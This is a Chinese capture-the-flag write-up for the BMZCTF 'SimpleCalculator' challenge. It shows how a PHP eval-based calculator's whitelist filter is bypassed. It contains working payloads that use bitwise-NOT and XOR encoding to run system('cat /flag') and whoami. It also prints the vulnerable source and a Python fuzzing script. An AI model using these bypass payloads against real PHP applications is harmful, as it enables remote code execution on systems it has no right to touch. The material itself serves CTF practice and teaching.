signed

QiShunwang

“诚信为本、客户至上”

BMZCTF:SimpleCalculator

2021/4/26 15:31:40   来源:
http://www.bmzclub.cn/challenges#SimpleCalculator

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
测试了下发现除数学相关的一些关键字之外,其他的字母都会被过滤。长度限制80。异或、取反都可以执行,猜测这里最后使用的eval()对经过过滤字符进行了代码执行,代码执行的绕过在我之前的博客讲过:浅谈PHP代码执行中出现过滤限制的绕过执行方法

这里利用取反绕过即可

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));"
Command line code:1:
string(21) "%8F%97%8F%96%91%99%90"
/flag.php?search=(~%8F%97%8F%96%91%99%90)()

在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'cat /flag'));"
Command line code:1:
string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"
/flag.php?search=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)

在这里插入图片描述
读一下源码
flag.php

<?php
	error_reporting(0);
    	require_once('header.php');
		require_once('./libs/Smarty.class.php');
		/*
		function filter($content)
		{
			if (strlen($content) >= 80) {
				$smarty->display("string:"."00000000000");
				return 1;
			}
			$blacklist = [' ', '\t', '\r', '\n', '"', '`'];
			foreach ($blacklist as $blackitem) {
				if (preg_match('/' . $blackitem . '/m', $content)) {
					$smarty->display("string:"."111111111111");
					return 1;
				}
			}
			return 0;
		}
		*/

		$smarty = new Smarty();
		if (!empty($_GET['search'])) 
		{
		    $content=$_GET['search'];
		}
		else
			$content="1+1";
		/*
		if(filter($ip))
		{
			$smarty->display("string:"."00000000000");
			die("0000000000000000");
		}
		*/
		
		//$your_ip = $smarty->display("string:".$ip);
		echo "计算结果 : ";
		
		if (strlen($content) >= 80) {
			die("你的输入也太长了吧= =");
		}
		$specialchars = [' ', '\t', '\r', '\n','\'', '"', '`'];
		foreach ($specialchars as $cc) {
			if (preg_match('/' . $cc . '/m', $content)) {
				die("想啥呢= =输这种奇奇怪怪的字符");
			}
		}
		
		$whitelist = [ 'is_finite','deg2rad', 'mt_getrandmax','is_infinite','log10'  ];  
		$whitelist1=['pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'cos', 'cosh', 'decbin' , 'tan', 'tanh'];
		$whitelist = array_merge($whitelist, $whitelist1);
		$whitelist1 =['expm1', 'floor', 'fmod',  'acosh', 'getrandmax', 'asin', 'asinh', 'decoct',  'atan2', 'atan', 'atanh'];
		$whitelist = array_merge($whitelist, $whitelist1);
		$whitelist1 =['lcg_value', 'min', 'acos','log1p', 'log', 'max', 'is_nan', 'mt_srand', 'octdec'];
		$whitelist = array_merge($whitelist, $whitelist1);
		$whitelist1= ['bindec', 'ceil',  'hexdec', 'hypot','mt_rand','exp'];
		$whitelist = array_merge($whitelist, $whitelist1);
		preg_match_all('/[a-zA-Z_][a-zA-Z_0-9]*/', $content, $extractfunc);
		
		foreach ($extractfunc[0] as $ee) {
			if (!in_array($ee, $whitelist)) {
				
				die("想啥呢= = $ee 这个数学函数不支持");
			}
		}

		$output=eval('echo '.$content.';');;
		$smarty->display("string:".($output));
		echo "";
	?>

再来看下另一种姿势,也是网上看到的,学习一下
利用白名单中的数学函数结合数字构造payload字符

/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=whoami

或者这样写也行

/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi[7]($pi[77])&7=system&77=whoami

这种就是利用白名单的字符加上允许传参的字符构造出payload$_GET[]代码执行绕过对当前参数的过滤
利用白名单做一个fuzz测试筛选出哪些字符可以构造出我们想要的字符即可,用Python简单处理即可

mathlist = ['is_finite','deg2rad', 'mt_getrandmax','is_infinite','log10','pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'cos', 'cosh', 'decbin' , 'tan', 'tanh','expm1', 'floor', 'fmod',  'acosh', 'getrandmax', 'asin', 'asinh', 'decoct',  'atan2', 'atan', 'atanh','lcg_value', 'min', 'acos','log1p', 'log', 'max', 'is_nan', 'mt_srand', 'octdec','bindec', 'ceil',  'hexdec', 'hypot','mt_rand','exp']


def calcxor(param):
    lenparam = len(param)
    maxnum = pow(10,lenparam)
    for func in mathlist:
        if lenparam > len(func):
            continue
        func = func[:lenparam]
        for num in range(int(maxnum/10),maxnum):
            num = '{}'.format(num)
            xornums = ''
            for i in range(lenparam):
                xornum = '{}'.format(ord(func[i]) ^ ord(num[i]))
                xornums += chr(int(xornum))
            if xornums == param:
                print('{} ^ {} == {}'.format(func,num,xornums))


if __name__ == '__main__':
    param = '_G'
    calcxor(param)

在这里插入图片描述

is ^ 64 == _G
mt ^ 23 == _G
is ^ 64 == _G
is ^ 64 == _G
mt ^ 23 == _G
mt ^ 23 == _G
ra ^ 75 == ET
ra ^ 75 == ET
ta ^ 15 == ET
ta ^ 15 == ET

随便挑选白名单种用is或者mt做前缀的函数和以上数字异或构造_Gra或者ta做前缀的函数和数字异或构造成ET

/flag.php?search=$pi=(mt_rand^(2).(3)).(rand^(7).(5));$$pi[7]($$pi[77])&7=system&77=whoami

在这里插入图片描述